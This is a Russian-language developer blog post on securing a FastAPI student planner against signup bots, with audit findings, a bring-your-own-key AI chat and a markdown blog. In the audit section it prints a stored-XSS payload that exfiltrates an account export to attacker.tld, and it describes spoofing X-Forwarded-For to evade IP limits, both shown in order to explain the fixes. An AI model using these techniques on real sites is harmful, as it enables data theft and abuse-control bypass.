Привет, Хабр. Меня зовут Ярослав Боев, в сети — SwairIt.

Четыре месяца назад я сел писать обычный todo-лист на FastAPI. Сейчас на getdoday.ru живёт планировщик для школьников и студентов, а рядом — ещё несколько продуктов: школьное Q&A, тренажёр билетов ПДД, кабинет для репетиторов. Один монолит, 86 000 строк, 1325 тестов.

А потом я открыл базу и увидел 238 новых аккаунтов. Из них почту подтвердили 62.

Остальные 176 были ботами.

Я полез разбираться, как они прошли мимо защиты. Разобрался. А заодно нашёл двенадцать дыр, к ботам не имевших вообще никакого отношения: хранимый XSS на публичных страницах, чужие задачи, которые отдавались по одному идентификатору, сессию, которую нельзя было погасить даже сменой пароля.

И одну, из-за которой до сих пор немного стыдно: все мои лимиты по IP обходились одной строкой в HTTP-заголовке. Я проверил это на собственном проде — сорок запросов, ноль отказов.

Дальше — три истории с кодом:

  1. Боты и безопасность. Как выглядела атака, почему не сработал ни один из трёх уровней защиты и что показал сплошной аудит.

  2. ИИ-помощник, который работает на ключе пользователя. Почему я не стал платить за токены сам, как это устроено — и четыре грабли, включая асинхронный генератор, молча съедавший ответы.

  3. Семантическое ядро и 334 статьи. Как выглядит контентный раздел, если строить его как код: один источник правды, автопроверки и ускорение в семнадцать раз.

Плюс короткий финал про приватность — и про то, что я выкинул из продукта не ради красоты, а потому что так велит закон.

Начнём с ботов.

Раздел блога: 334 статьи с поиском и категориями
Раздел блога: 334 статьи с поиском и категориями

Часть 1. Боты, которые прошли сквозь три уровня защиты

Как это выглядело

За две недели база выросла на 238 аккаунтов. Почту подтвердили 62. Остальные 176 — боты.

Домены у них были показательные: yahoo.com, hotmail.com, aol.com, корпоративные ящики из старых утечек. А между ними — sdffsd.sdd, flsdfmsodf.ro, prweorwef.com. Запомните эти три, они ещё пригодятся.

Сразу скажу: это не была атака на меня лично. Никто не сидел и не подбирал ключи к моему сайту. Это обычный неадресный спам форм — кто-то прогоняет список сайтов и постит во всё, что похоже на регистрацию. Ровно поэтому история и полезная: с таким встречается каждый, кто выкатил форму в интернет.

Защита у меня, между прочим, была. Целых три уровня:

  1. Honeypot — скрытое поле, которое человек не видит, а бот заполняет.

  2. Ограничение частоты — пять регистраций в минуту с одного IP.

  3. Подтверждение почты — письмо со ссылкой.

Не сработал ни один. И причины у всех трёх разные, поэтому разберу каждую.

Дыра первая: лимит, который обнулялся на каждом деплое

Начнём с арифметики. Пять регистраций в минуту — это 300 в час и 7200 в сутки. Уже смешно.

Но настоящая проблема была не в цифре. Вот как этот лимит был устроен:

_ATTEMPTS: dict[str, deque[float]] = {}


def hit(key: str, *, max_calls: int, per_seconds: float) -> bool:
    now = monotonic()
    bucket = _ATTEMPTS.setdefault(key, deque())
    cutoff = now - per_seconds
    while bucket and bucket[0] < cutoff:
        bucket.popleft()
    if len(bucket) >= max_calls:
        return False
    bucket.append(now)
    return True

Обычный скользящий счётчик в памяти процесса. Написан аккуратно, работает как задумано.

А теперь деталь, которая всё убивает: push в master перезапускает сервис. Автопулл, миграции, рестарт — примерно минута. В хороший день я делаю сорок коммитов.

То есть счётчик стирался по несколько раз в час. Он не защищал ни от чего. Он просто существовал — как знак «злая собака» на калитке без собаки.

Позже выяснилась ещё одна деталь: uvicorn стартует с двумя воркерами. У каждого свой словарь в памяти. Значит, фактический лимит был не пять, а десять, и в какой воркер попадёт запрос — как повезёт.

Мораль: счётчик в памяти процесса — защита от случайного двойного клика, а не от бота. Если состояние обязано пережить рестарт, оно живёт в базе.

Дыра вторая: IP, который подделывается одним заголовком

А вот это самое интересное, и нашёл я это случайно. Просто решил проверить, работает ли лимит вообще.

Сервис стоит за nginx. Чтобы uvicorn видел настоящий адрес клиента, а не адрес прокси, он запускается так:

--proxy-headers --forwarded-allow-ips='*'

Выглядит безобидно: «доверяй заголовкам от прокси». Логично же?

Давайте заглянем в исходник самого uvicorn:

def get_trusted_client_host(self, x_forwarded_for: str) -> str:
    x_forwarded_for_hosts = _parse_raw_hosts(x_forwarded_for)
    if self.always_trust:
        return x_forwarded_for_hosts[0]   # самый ЛЕВЫЙ элемент

При --forwarded-allow-ips='*' включается always_trust, и берётся самый левый элемент X-Forwarded-For.

Теперь вспомним, как этот заголовок собирает nginx:

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

$proxy_add_x_forwarded_for — это «что прислал клиент» плюс настоящий адрес, дописанный справа. Клиент прислал X-Forwarded-For: 1.2.3.4 — до приложения доедет 1.2.3.4, 93.x.x.x, где второй настоящий.

uvicorn берёт первый. Тот, который написал клиент.

Я не поверил и пошёл проверять на живом сервере. Сорок запросов на ручку логина, несуществующий адрес, аккаунты не создаются:

Что делаю

Что получаю

Шлю фиксированный подставной X-Forwarded-For: 203.0.113.7

429: 20, 401: 20 — лимит сработал. Но на подставной адрес

Сразу следом меняю X-Forwarded-For в каждом запросе

429: 0, 401: 40 — лимит не сработал ни разу

Смотрите, в чём соль второй строки. Если бы заголовок игнорировался, вторая фаза унаследовала бы уже забитый счётчик реального адреса и отдала бы 429 на первом же запросе. Она отдала ноль. Сорок раз подряд.

То есть любой мой лимит по IP обходился одной строкой. Регистрация, логин, антифлуд на публичных страницах — всё.

Чинится в двух местах. На сервере — правильным значением флага:

--forwarded-allow-ips=127.0.0.1

А в приложении я перестал зависеть от того, как именно запущен uvicorn, и стал брать адрес сам:

def client_ip(request: Request) -> str | None:
    """Настоящий адрес клиента, который нельзя подделать заголовком.

    nginx дописывает реальный адрес СПРАВА ($proxy_add_x_forwarded_for),
    поэтому берём последний элемент — он проставлен нашим прокси,
    а не гостем.
    """
    forwarded = request.headers.get("x-forwarded-for")
    if forwarded:
        parts = [p.strip() for p in forwarded.split(",") if p.strip()]
        if parts:
            return parts[-1]
    return request.client.host if request.client else None

Честно про ограничение: «брать правый» верно ровно для одного прокси. Если перед вами цепочка вроде CDN → nginx, правым окажется адрес первого прокси — не настоящий клиент, но и не подделываемый. Огрубление, а не дыра.

Мораль: если приложение принимает решения по IP, оно обязано знать, какому источнику этого IP доверяет. '*' — это не «доверяй прокси». Это «доверяй кому угодно».

Дыра третья: подтверждение почты, которое ничего не подтверждало

В базе была колонка email_verified_at. Письмо уходило, ссылка работала, дата проставлялась. Всё как у людей.

Потом я поискал по проекту, где эта колонка проверяется перед доступом к функциям. И не нашёл ни одного места. Зато нашёл в сервисе аутентификации честный комментарий, который сам же когда-то и написал:

# Email verification is "soft": unverified users may sign in.

То есть бот регистрировался и сразу пользовался аккаунтом. Подтверждение почты было украшением. Красивым, бесполезным.

Дальше я принял решение, с которым кто-то не согласится: жёсткую проверку я делать не стал. Потому что письма теряются. Падают в спам. Приходят на ящик, к которому у школьника нет доступа с телефона. Жёсткий гейт отрезал бы живых людей ради ботов, которых можно поймать дешевле.

Вместо этого — автоудаление. Аккаунт, у которого разом не подтверждена почта, нет ни одной задачи, нет привязки к Telegram и профиля репетитора, через 30 дней удаляется сам.

Что я поставил вместо

Три меры. Ни одна не требует JavaScript — бот его не исполняет, а живой браузер проходит проверки и не замечает.

1. Подписанная метка времени формы. Кладём в форму время, когда её отрисовали. Обязательно подписанное — иначе бот просто подставит «пять секунд назад» и будет проходить всегда:

def issue_form_token() -> str:
    ts = f"{datetime.now(UTC).timestamp():.0f}"
    return f"{ts}.{_sign(ts)}"


def _sign(ts: str) -> str:
    secret = get_settings().app_secret_key.encode()
    return hmac.new(secret, f"register:{ts}".encode(), hashlib.sha256).hexdigest()[:32]


def check_form_timing(token: str | None) -> None:
    stale = "Форма устарела, обнови страницу."
    if not token or "." not in token:
        raise SignupRejected(stale, log_code="no_timestamp")

    ts, _, signature = token.partition(".")
    if not hmac.compare_digest(signature, _sign(ts)):
        raise SignupRejected(stale, log_code="bad_signature")

    elapsed = datetime.now(UTC).timestamp() - float(ts)
    if elapsed < MIN_FORM_SECONDS:
        raise SignupRejected("Слишком быстро — заполни форму ещё раз.", log_code="too_fast")
    if elapsed > MAX_FORM_SECONDS:
        raise SignupRejected(stale, log_code="expired")

Это убивает весь класс «прямой POST по списку URL». Бот либо не пришлёт метку вовсе, либо пришлёт свою — и подпись не сойдётся.

2. Счёт регистраций по базе, а не в памяти. У пользователя появились две колонки: signup_ip и signup_subnet — первые три октета. Подсеть здесь важнее адреса: поменять последний октет не стоит ничего.

MAX_PER_IP_HOUR = 5
MAX_PER_SUBNET_HOUR = 30

Запас нарочно щедрый, и вот почему. Моя аудитория сидит за школьным NAT и за CGNAT мобильных операторов, где сотню человек видно как один адрес. Cloudflare публиковал измерение: CGNAT-адреса попадают под ограничения втрое чаще, при этом ботов среди них меньше. Урок информатики, на котором класс регистрируется одновременно, не должен упереться в мой лимит — иначе я решу проблему ботов ценой живых пользователей.

И отдельная защита от себя же. Если приложение видит внутренний адрес — 127.0.0.1 или что-то из приватных диапазонов, — значит прокси не проставил заголовок и настоящий клиент нам просто неизвестен. Считать всех одним человеком в такой ситуации нельзя: регистрация закроется всему сайту после пятой за час.

if not ip or _is_internal(ip):
    return

3. Проверка, существует ли домен почты. Вот тут меня ждал сюрприз.

Я собрался прикручивать списки одноразовых почт — классика жанра. Полез сверять со своими данными и обнаружил, что против моих ботов они бесполезны: ни один из наблюдавшихся доменов не был temp-mail.

Зато помните sdffsd.sdd, flsdfmsodf.ro и prweorwef.com? Это NXDOMAIN. Ни MX, ни A-записи. Письмо туда физически не уйдёт — домена не существует.

Одна DNS-проверка выносит их целиком:

def _probe_domain(domain: str) -> bool:
    from email_validator import EmailUndeliverableError, validate_email

    try:
        validate_email(f"probe@{domain}", check_deliverability=True, timeout=3)
    except EmailUndeliverableError:
        return False
    except Exception:
        # Таймаут, сбой резолвера — пропускаем. Отказать живому человеку
        # из-за нашей же сетевой проблемы хуже, чем пропустить бота.
        return True
    return True


_domain_has_mail = lru_cache(maxsize=4096)(_probe_domain)

Резолвер синхронный, поэтому в приложении он уезжает в отдельный поток: регистрация — не то место, где стоит блокировать event loop на секунду.

Чего я делать не стал и вам не советую: отсекать адреса по признаку «много цифр подряд». У меня полно живых пользователей, у которых вместо имени ящика телефон — 79161234567@mail.ru. Правило, которое ловит ботов вместе с людьми, хуже, чем отсутствие правила.

И сигнализация

Те 176 ботов я заметил постфактум, разбирая базу руками. Это, если честно, обиднее всего остального.

Теперь при каждой регистрации считается число аккаунтов за последний час, и если оно переваливает за двадцать — мне приходит письмо. Повторное не чаще раза в час, все ошибки внутри глушатся: сигнализация не имеет права уронить регистрацию.

Самая дешёвая мера из всех и самая недооценённая. Защиту рано или поздно обойдут. А вот незамеченной волна оставаться не должна.


Часть 2. Аудит: двенадцать дыр, к ботам отношения не имевших

Раз уж я всё равно копался в безопасности, то прошёл проект целиком: авторизация, права доступа, платежи, хранение секретов, XSS, SSRF. Ниже — то, что стоило починить, с объяснением механики. Всё закрыто тестами.

Хранимый XSS через JSON-LD

Моя любимая находка. Красивая, как в учебнике.

На публичных страницах школьного Q&A стоит разметка для поисковиков:

"jsonld": json.dumps(jsonld, ensure_ascii=False),
<script type="application/ld+json">{{ jsonld | safe }}</script>

Выглядит безопасно, правда? json.dumps экранирует кавычки и слэши, вырваться из строки нельзя.

Только HTML-парсер про JSON ничего не знает. Он закрывает <script> на первой же последовательности </script, где бы она ни лежала — хоть внутри JSON-строки, хоть внутри чего угодно. А в эту разметку едет заголовок вопроса, который пишет любой зарегистрированный пользователь:

Как решить</script><script>fetch('/api/backup/export',{credentials:'include'})
  .then(r=>r.text()).then(t=>navigator.sendBeacon('https://attacker.tld/x',t))</script>задачу

Страница вопроса публичная. Скрипт выполнялся бы у каждого посетителя, включая залогиненных. А /api/backup/export отдаёт полный дамп аккаунта — задачи, проекты, всё.

Лечится одним слоем, через который теперь проходит любой JSON, попадающий внутрь <script>:

_REPLACEMENTS = (
    ("<", "\\u003c"),
    (">", "\\u003e"),
    ("&", "\\u0026"),
    (" ", "\\u2028"),
    (" ", "\\u2029"),
)


def script_json(data: Any) -> str:
    """Сериализовать данные для вставки в <script> внутри шаблона."""
    out = json.dumps(data, ensure_ascii=False)
    for char, escaped in _REPLACEMENTS:
        out = out.replace(char, escaped)
    return out

Для JSON < — тот же самый символ <. Для HTML-парсера — обычные буквы. U+2028 и U+2029 добавлены не для красоты: они валидны в JSON, но рвут строку для JavaScript-парсера.

Мораль: «я экранировал JSON» и «это безопасно внутри <script>» — два разных утверждения. Между ними стоит HTML-парсер со своими правилами, и ему на ваш JSON плевать.

IDOR: чужие задачи по идентификатору проекта

Сервис списка задач выглядел так:

if project_id is not None:
    # Project-scoped view: show all members' tasks in that project.
    stmt = select(Task).where(Task.project_id == project_id)
else:
    stmt = select(Task).where(Task.user_id == user_id)

При заданном project_id фильтр по владельцу снимается. Это осознанное поведение: внутри проекта участники видят задачи друг друга. А проверку членства должен делать вызывающий код — про это даже в докстринге написано.

HTML-страница проекта так и делала. Проверяла, потом звала сервис.

А JSON-ручка GET /api/tasks?project_id=<uuid> — нет. Просто передавала идентификатор дальше.

Итог: любой авторизованный пользователь, знающий id проекта, читал все его задачи. И самый реальный сценарий тут даже не «злоумышленник угадал uuid», а исключённый участник. Его выкинули из проекта, все остальные ручки честно отвечают 404 — а эта продолжает отдавать данные. Вечно.

Правка на три строки, но в правильном месте — внутри сервиса, а не в вызывающем коде:

if project_id is not None:
    if not await is_member(session, project_id, user_id):
        raise ProjectNotFound(str(project_id))
    stmt = select(Task).where(Task.project_id == project_id)

Мораль: «вызывающий обязан проверить» — это не защита, а договорённость. Договорённости нарушаются молча и без ошибок в логах. Проверка живёт там, где данные.

Аноним, забивающий чужой календарь

В кабинете репетитора есть публичная страница записи: клиент выбирает свободное время и записывается. Без авторизации — так и задумано, иначе никто не запишется.

Свободные слоты считает функция, которая учитывает рабочие дни, часы, буфер между занятиями, отпуск, запас на подготовку и уже занятое время. Хорошая функция, я ей горжусь.

Вот только сервер принимал время из формы как есть и проверял ровно одно: не занято ли оно другой записью. Всё остальное — рабочие часы, отпуск, «не в прошлом» — было фильтрами исключительно для интерфейса.

Что это значит на практике: анонимный POST мог записать клиента на три часа ночи, в отпуск, на прошлую неделю или на 2031 год. А каждая подтверждённая запись становится занятым интервалом. Календарь репетитора забивается на месяцы вперёд за минуту работы скрипта.

И второй слой, который я заметил уже по ходу: поле почты клиента было объявлено обычной строкой, а не валидируемым адресом. А оттуда уходит письмо. То есть форма записи работала бесплатным релеем с моей SMTP-личности на любой адрес в интернете.

Теперь слот обязан принадлежать сетке:

async def ensure_slot_bookable(session, *, tutor, service, slot) -> None:
    if slot.tzinfo is None:
        slot = slot.replace(tzinfo=UTC)
    free = await find_free_slots(
        session, tutor, date_from=slot, date_to=slot + timedelta(minutes=1), service=service
    )
    if slot not in free:
        raise BookingConflictError("Это время уже занято или недоступно для записи")

Проверка стоит только на публичных путях. Репетитор в своём кабинете вправе поставить встречу вне сетки — это его календарь. Гость с улицы — нет.

Утечка через iCal-фид

Репетитору предлагается подписаться на свой календарь в Google Calendar или Apple Calendar: ссылка с токеном, внутри события. Удобно.

А в описании каждого события лежало вот это:

Клиент: Иван Петров
Email: ivan@example.com
Управление: https://getdoday.ru/lessio/manage/<manage_token>

manage_token — это capability-ссылка. По ней можно отменить или перенести запись без всякой авторизации, потому что знание ссылки и есть право.

Теперь сложим. Ссылку на фид репетитор своими руками отдаёт стороннему календарному сервису. Едет она в query-строке, а значит оседает в логах nginx и в заголовке Referer. И содержит персональные данные всех клиентов и токены управления их записями.

Убрал и почты, и токены. Осталось имя — репетитору всё-таки нужно понимать, кто к нему придёт.

Сессия, которую нельзя было отозвать

Сессия жила только в подписанной cookie. Никакого серверного состояния — красиво, быстро, без базы.

У этой красоты есть цена: отозвать такую сессию нечем.

Смена пароля меняла хеш. А украденная cookie продолжала работать все две недели, на которые Starlette по умолчанию выписывает сессию. Человек меняет пароль именно потому, что боится за аккаунт, — и не меняет ничего.

Решение — поколение сессий. Одно целое число у пользователя, кладётся в cookie при входе, сверяется на каждом запросе:

user = await session.get(User, uid)
if user is None:
    return None
# У cookie, выписанных до появления этого поля, номера нет —
# считаем их нулевыми, чтобы никого не разлогинить на ровном месте.
if int(request.session.get("epoch", 0)) != user.session_epoch:
    request.session.clear()
    return None
return user

Смена пароля увеличивает номер — и все прочие сессии перестают подходить. В том числе та, из-за которой пароль и меняли. Текущая остаётся живой: ей номер обновляют сразу.

Остальное — скороговоркой

  • Токен школьного дневника лежал в базе открытым текстом. Приложение умеет тянуть домашку из электронного дневника; токен доступа хранился текстом — с комментарием «зашифровать перед продом», который я сам себе и написал. Теперь Fernet, ключ выводится из секрета приложения через PBKDF2, соль своя. Старые записи читаются как есть и перешифровываются при следующем сохранении.

  • Cookie уезжали в соседний проект. Прокси на игру, живущую на соседнем порту, пересылал заголовки целиком — вместе с cookie сессии основного сайта. И пропускал обратно её Set-Cookie. Вырезал в обе стороны.

  • CSRF-исключение шире, чем нужно. Из-под проверки источника был выведен целый префикс, хотя своя авторизация была только у одной ручки.

  • SSRF в «своём провайдере» — про него подробно в следующей части, там он к месту.

  • Токен подтверждения почты писался в лог целиком. Живёт трое суток. Кто читает логи — подтверждает чужие почты.

  • Content-Security-Policy приложение не отдавало вовсе. Единственная жила в конфиге nginx и только в одном location. Теперь ставится всегда. 'unsafe-inline' пришлось оставить — весь интерфейс на инлайновом Alpine, — но connect-src 'self' закрывает главный сценарий: даже если чужой скрипт как-то выполнится, отправить украденное наружу он не сможет.

  • Подпись платёжного уведомления сравнивалась обычным ==. Заменил на hmac.compare_digest — по сети это почти не эксплуатируется, но пусть будет правильно.


Часть 3. ИИ-помощник, который работает на ключе пользователя

История вторая. Про то, как добавить ИИ в бесплатный продукт и не разориться.

Чат с моделью внутри приложения
Чат с моделью внутри приложения

Почему не мой ключ

Очевидное решение: берём ключ провайдера, кладём в переменные окружения, раздаём ответы всем. Три причины, почему я так не сделал.

Деньги. Аудитория — школьники, продукт бесплатный. Любой всплеск популярности превращается в счёт, который оплачиваю я. Один цикл в чьём-нибудь скрипте — и баланс кончился за ночь.

Ответственность. Если ключ мой, то запросы к модели делаю я. Значит, за содержимое диалогов отвечаю тоже я.

Закон. Запрос к зарубежному провайдеру — это трансграничная передача персональных данных. Для российского сервиса с несовершеннолетней аудиторией это отдельная песня, к которой я ещё вернусь.

Поэтому схема такая: каждый подключает свой ключ. Не зависит от моих лимитов, я не читаю чужие разговоры, счёт приходит тому, кто его тратит. Всем хорошо.

Экран подключения ключа провайдера
Экран подключения ключа провайдера

Как хранить чужой ключ

Ключ — это секрет пользователя, который лежит в моей базе. Шифрование не обсуждается:

KEY_VERSION = 1
_SALT_V1 = b"doday-ai-provider-key-v1"


def _fernet_for_version(version: int) -> Fernet:
    if version != KEY_VERSION:
        raise AiKeyError(f"неизвестная версия ключа шифрования: {version}")
    secret = get_settings().app_secret_key.encode("utf-8")
    kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=_SALT_V1, iterations=100_000)
    return Fernet(base64.urlsafe_b64encode(kdf.derive(secret)))

Два решения, которые стоит пояснить.

Ключ шифрования выводится из секрета приложения детерминированно. Не хранится отдельно, не требует внешнего хранилища секретов и переживает рестарт — а рестартует у меня всё постоянно, деплой же.

Версия схемы лежит рядом с шифротекстом. Когда понадобится сменить соль или алгоритм, добавится ветка в _fernet_for_version, а старые записи продолжат читаться. Одно поле в таблице экономит будущую миграцию данных. Дёшево сейчас, спасает потом.

Обратно ключ не показывается никогда и никому — в интерфейсе только последние четыре символа.

Стриминг ответа в FastAPI

В FastAPI 0.115 нет отдельного примитива для server-sent events, так что SSE собирается руками:

return StreamingResponse(
    events(),
    media_type="text/event-stream",
    headers={
        "Cache-Control": "no-cache",
        "Connection": "keep-alive",
        # Без этого nginx буферизует ответ и стрим превращается
        # в «ничего не происходит, потом всё сразу».
        "X-Accel-Buffering": "no",
    },
)

Метод — POST: EventSource в браузере умеет только GET, а вопрос удобнее отправлять телом. На фронте — fetch плюс ReadableStream.

Заголовок X-Accel-Buffering: no nginx уважает, но я всё равно продублировал настройку в конфиге отдельным location — на случай, если панель хостинга однажды перегенерирует конфиг и заголовок останется единственной надеждой:

location /api/ai/stream {
    proxy_pass http://127.0.0.1:8011;
    proxy_http_version 1.1;
    proxy_buffering off;
    proxy_cache off;
    gzip off;
    proxy_read_timeout 3600s;
}

gzip off тут не паранойя: сжатие тоже буферизует.

Грабля, которая съедала ответы

А теперь лучшая история этой части.

Пользователь пишет: «спросил, ИИ не договорил, а когда я ушёл со страницы и вернулся — в истории пусто».

Смотрим код сохранения ответа:

async def events() -> AsyncIterator[str]:
    collected: list[str] = []
    try:
        async for chunk in stream_completion(...):
            collected.append(chunk)
            yield f"data: {chunk}\n\n"
    except AiProviderError as exc:
        yield f"event: error\ndata: {exc.user_message}\n\n"
        return
    finally:
        # Сохраняем даже частичный ответ: пользователь его уже прочитал.
        answer = "".join(collected).strip()
        if answer:
            await save_message(session, user.id, role="assistant", content=answer)
    yield "event: done\ndata: ok\n\n"

Логика выглядит пуленепробиваемой. Что бы ни случилось — finally сохранит собранное. Я даже комментарий заботливый написал.

Проблема в том, что finally в асинхронном генераторе выполняется в крайне неудачный момент. Когда клиент отваливается, генератор закрывают — и внутрь, прямо в точку yield, прилетает GeneratorExit. А мы в этот момент честно пытаемся сделать await к базе, сессия которой уже закрывается вместе с оборванным соединением. Плюс yield после GeneratorExit — это RuntimeError: async generator ignored GeneratorExit.

Итог ровно тот, который описал пользователь. Ушёл со страницы — ответ, который он уже прочитал глазами, не сохранился нигде.

Правильное решение — не пытаться героически дописать всё в конце, а писать по ходу:

saved_id: UUID | None = None
saved_len = 0
async for chunk in stream_completion(...):
    collected.append(chunk)
    yield f"data: {chunk}\n\n"
    text = "".join(collected)
    if len(text) - saved_len >= _SAVE_EVERY_CHARS:   # каждые 100 символов
        saved_id = await save_answer_progress(
            session, user.id, task_id=task_id, message_id=saved_id, content=text
        )
        saved_len = len(text)

Финальная запись переехала из finally в обычный ход выполнения. Оборвалось соединение — до неё просто не дойдём, и это уже нормально: в базе лежит то, что было на экране.

Мораль: finally в асинхронном генераторе — не место для работы с внешними ресурсами. Состояние, которое нужно сохранить, сохраняйте по мере появления, а не «в конце».

Грабли провайдеров

Приложение говорит с моделями по OpenAI-совместимому протоколу. Значит, код общения один, различаются только адрес и название модели. В теории.

Один провайдер на неверный ключ отвечает 400, а не 401. Классификация ошибок по коду ломается сразу: человек видит «провайдер не отвечает» вместо «проверьте ключ» и идёт чинить не то.

Ключи Google теперь начинаются на AQ.Ab, а не на AIza. Я честно написал в подсказке «AIza…», и пользователь с новым ключом решил, что скопировал что-то не то. Мелочь, а полчаса переписки.

Ошибка одного провайдера может прийти от совсем другого. Реальный диалог из поддержки: «пишет, что ключ не принят», а в ответе провайдера — invalid api key secret: illegal base64 data at input byte 0. Я пошёл проверять, кто отдаёт такую фразу. Оказалось — не тот провайдер, у которого пользователь брал ключ. В форме по умолчанию стоял один, а инструкция сверху рисовалась для другого, и выпадающий список выглядел как «уже выбрано что надо».

Отсюда правило, до которого стоило додуматься сразу: выбранный провайдер должен совпадать с тем, чью инструкцию человек читает, а заголовок инструкции — называть его по имени.

И главное. Проверка адреса заведомо неверным ключом не доказывает ничего.

Я простучал десяток провайдеров с российского адреса, получил осмысленные ошибки авторизации и сделал вывод, что они работают. Логично же: отвечает — значит доступен.

А потом пользователь подключил настоящий ключ Google и получил:

{"error": {"code": 400, "message": "User location is not supported for the API use.",
           "status": "FAILED_PRECONDITION"}}

Запрос уходит с моего сервера, а он в России. С невалидным ключом Google отвечает про ключ раньше, чем доходит до проверки страны. Моя проверка дала ложноположительный результат, а расплатился за это пользователь, прошедший всю инструкцию до конца.

Теперь у геоблока своё сообщение, отдельное от «неверный ключ»:

_GEO_MARKERS = ("location is not supported", "country", "not available in your region")

if status == 400:
    if any(marker in body.lower() for marker in _GEO_MARKERS):
        return _GEO_MESSAGE
    if _looks_like_bad_key(body):
        return _BAD_KEY_MESSAGE

И ещё одна деталь, которая экономит часы поддержки: к нашему человеческому сообщению добавляется ответ самого провайдера — с вырезанным ключом, без разметки, не длиннее 300 символов. Без него человек видит «ключ не принят» и не понимает, что чинить: ключ, модель или тариф.

SSRF, который я сам себе принёс

В списке провайдеров есть пункт «свой, OpenAI-совместимый»: пользователь вводит адрес API. Проверка была одна:

if not resolved_url.startswith("https://"):
    raise UnknownProvider("адрес API должен начинаться с https://")

То есть пользователь мог указать внутренний адрес, а мой сервер послушно пошёл бы туда. Со своего же места в сети. А разные сообщения об ошибках для разных кодов ответа превращали это в удобный сканер внутренней сети.

def _check_public_url(url: str) -> None:
    host = urlparse(url).hostname
    if not host:
        raise UnknownProvider("не разобрал адрес API")
    try:
        infos = socket.getaddrinfo(host, None)
    except OSError as exc:
        raise UnknownProvider("не удалось разобрать имя хоста в адресе API") from exc
    for info in infos:
        ip = ipaddress.ip_address(info[4][0])
        if not ip.is_global or ip.is_multicast:
            raise UnknownProvider("этот адрес ведёт во внутреннюю сеть — так нельзя")

Гонка «резолв → запрос» здесь остаётся, я про неё знаю. Для модели угроз «школьник с формой в настройках» этого достаточно. Для сервиса, где адрес вводит кто угодно, нужен резолв с фиксацией адреса и запрет редиректов.


Часть 4. Семантическое ядро и 334 статьи

История третья, про рост.

Продукт для школьников не продвинешь платной рекламой: у аудитории нет денег, а конверсия в оплату низкая по определению. Остаётся поиск.

Статья: полоса прогресса, липкое оглавление, время чтения
Статья: полоса прогресса, липкое оглавление, время чтения

Контент как код, а не как база

Первое решение сэкономило мне недели: статьи — это markdown-файлы в репозитории, а не записи в базе с админкой.

app/blog/
  _types.py        # Category, TocItem, FaqItem, Post
  categories.py    # 11 категорий
  loader.py        # frontmatter → HTML, оглавление, время чтения
  posts.py         # поиск со скорингом, похожие статьи
  cache.py         # дисковый кэш по отпечатку файлов
  router.py        # /blog, /blog/c/{cat}, /blog/{slug}, feed.xml, sitemap.xml
  content/
    domashka/kak-bystro-sdelat-domashnee-zadanie.md
    ...

Что это даёт: правки идут через git с историей и ревью, статьи проверяются автотестами, для публикации не нужна админка, деплой — тот же git push. Минус ровно один: чтобы поправить опечатку, нужен доступ к репозиторию. Для проекта одного человека это, честно говоря, не минус.

Каждая статья начинается с frontmatter:

---
title: Как быстро сделать домашнее задание: система из 7 шагов
summary: Домашка съедает весь вечер? Разбираем рабочую систему...
category: domashka
tags: дз, продуктивность, тайм-менеджмент
keywords: как быстро сделать домашнее задание, как делать уроки быстро
published: 2026-08-25
emoji: ⚡
faq: true
---

Обратите внимание на faq: true. Он означает, что в теле есть раздел «Частые вопросы» с подзаголовками-вопросами, и из него собирается разметка FAQPage. Одно поле в шапке файла — расширенный сниппет в выдаче.

Автопроверки вместо вычитки

334 статьи невозможно перечитывать глазами перед каждым деплоем. Поэтому есть скрипт, который гоняется как обычный тест и проверяет: валидность frontmatter, уникальность slug, минимальный объём, наличие хотя бы четырёх подзаголовков второго уровня, наличие блока FAQ, существование всех внутренних ссылок и категории.

А ещё — список запрещённых утверждений:

_FORBIDDEN = (
    ("14 дней pro", "триала нет — нельзя обещать 14 дней Pro"),
    ("14 дней бесплатно", "триала нет"),
    ("saml", "SAML SSO в продукте нет"),
)

Пояснение к последнему пункту. Обещание функции, которой нет, — это не «маркетинговая вольность». Это причина, по которой человек приходит, не находит обещанного и больше не возвращается. Проверка в CI дешевле, чем разбор такой жалобы.

Как раздел перестал открываться 11 секунд

Первая версия парсила все markdown-файлы при обращении. С тремя сотнями статей главная блога открывалась 11,7 секунды.

Это не «медленно». Это сломано.

Решение — дисковый кэш, ключом к которому служит отпечаток корпуса: имена файлов, размеры, время изменения. Изменился хоть один файл — отпечаток другой, кэш перестраивается. Не изменился — читается готовый JSON. Плюс прогрев в фоновом потоке при старте, чтобы первый посетитель не оплачивал разбор своим ожиданием.

Стало 0,67 секунды. В семнадцать раз быстрее.

Отдельно про формат кэша: JSON, а не pickle. Pickle быстрее и удобнее, но это исполняемый формат — файл кэша, до которого кто-то дотянулся, превращается в выполнение произвольного кода. Экономия миллисекунд того не стоит.

Что в интерфейсе статьи

Три вещи, ради которых стоило повозиться с фронтом:

  • полоса прогресса чтения сверху — простая, но заметно снижает желание бросить длинный текст на середине;

  • липкое оглавление справа с подсветкой активного раздела через IntersectionObserver, на мобильном сворачивается в <details>;

  • время чтения и количество слов — честные, считаются из текста, а не проставляются руками.

Блог на мобильном
Блог на мобильном

Индексация

Sitemap собирается динамически из того же источника, что и сам блог, — рассинхрон в принципе невозможен. Плюс Atom-фид, разметка BlogPosting и BreadcrumbList на каждой статье, канонические адреса. И IndexNow — пинг поисковикам о новых адресах, чтобы не ждать, пока краулер дойдёт сам.


Часть 5. Приватность как инженерная задача

Финальная история, короткая. Но продукт она изменила сильнее, чем всё остальное.

Разбираясь с законом о персональных данных, я дошёл до трансграничной передачи. Правило простое: данные уходят за пределы страны — это отдельная история с отдельным уведомлением регулятора.

А у меня в списке ИИ-провайдеров половина зарубежных. Ключ вводит пользователь, но передачу инициирует мой сервер, и текст вопроса — это данные пользователя.

Я убрал всех зарубежных провайдеров. Остались российские.

Цена честная: пропали бесплатные варианты, у оставшихся нужна карта. Зато вопрос трансграничной передачи закрыт полностью, а не «наверное, обойдётся».

Ещё три правки в ту же сторону, все про «не хранить лишнего»:

IP регистрации живёт сутки. Он нужен ровно на час — по нему считается частота регистраций с адреса и подсети. Дальше это бесполезный, но чувствительный след.

Брошенные аккаунты удаляются через 30 дней — те, где разом нет подтверждения почты, ни одной задачи, привязки к Telegram и профиля репетитора.

Страница «Мои данные». Человек видит, что о нём хранится: почта, дата регистрации, счётчики задач и сообщений, подключён ли дневник, лежит ли ещё IP. Там же выгрузка одним файлом и удаление аккаунта.

Страница «Мои данные»
Страница «Мои данные»

